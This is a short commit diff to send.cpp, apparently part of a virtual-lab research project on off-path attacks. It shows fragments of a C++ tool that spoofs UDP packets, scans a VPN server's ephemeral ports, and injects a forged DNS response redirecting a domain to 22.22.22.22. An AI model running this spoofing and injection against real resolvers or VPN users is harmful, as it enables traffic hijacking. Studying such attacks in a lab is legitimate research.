added client side attack env to virtual lab and server side tcp

server-side-attack/dns-sside/full_scan/send.cpp

@@ -227,7 +227,6 @@ int port_spread(string source_ip, int sport, string dest_ip, int start_port, int
 
     IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
     current_spoof_port = spoof_port;
-    //udp.dport(spoof_port); // set the packets dest port to current guess
 
     int round_sends = 0;
     while (round_sends < 4) { // send 4 at a time then sleep again
@@ -490,7 +489,7 @@ int send_dns(string src_ip, int sport, string dest_ip, int dport) {
 
   cout << "Attempting to inject dns response on port " << dport << "\n\n";
 
-  string spoof_domain = "yo.com";
+  string spoof_domain = "test.com";
   string redirect_ip = "22.22.22.22";
   injecting = true;
 
@@ -560,7 +559,7 @@ int find_ports(string source_ip, int sport, string dest_ip, int start_port, int
 
     if (exact_port == 0) is_found = true;
     else {
-      cout << "found some exact port: " << exact_port << "\n\n";
+      cout << "found exact port: " << exact_port << "\n\n";
       print_time();
 
       send_dns(source_ip, sport, dest_ip, exact_port);
@@ -597,7 +596,7 @@ int main(int argc, char** argv) {
   source_ip = argv[1]; // dns server IP
   int sport = atoi(argv[2]); // most likely 53
   dest_ip = argv[3]; // vpn server IP
-  verbose = true;
+  //verbose = true;
 
   int start_port = atoi(argv[4]); // Linux ephemeral range is (32768, 60999)
   int end_port = atoi(argv[5]);
@@ -609,9 +608,6 @@ int main(int argc, char** argv) {
 
   int res = find_ports(source_ip, sport, dest_ip, start_port, end_port);
 
-  //sniff_thread.join();
-  //send_sniff_thread.join();
-
   sniff_thread.detach();
   send_sniff_thread.detach();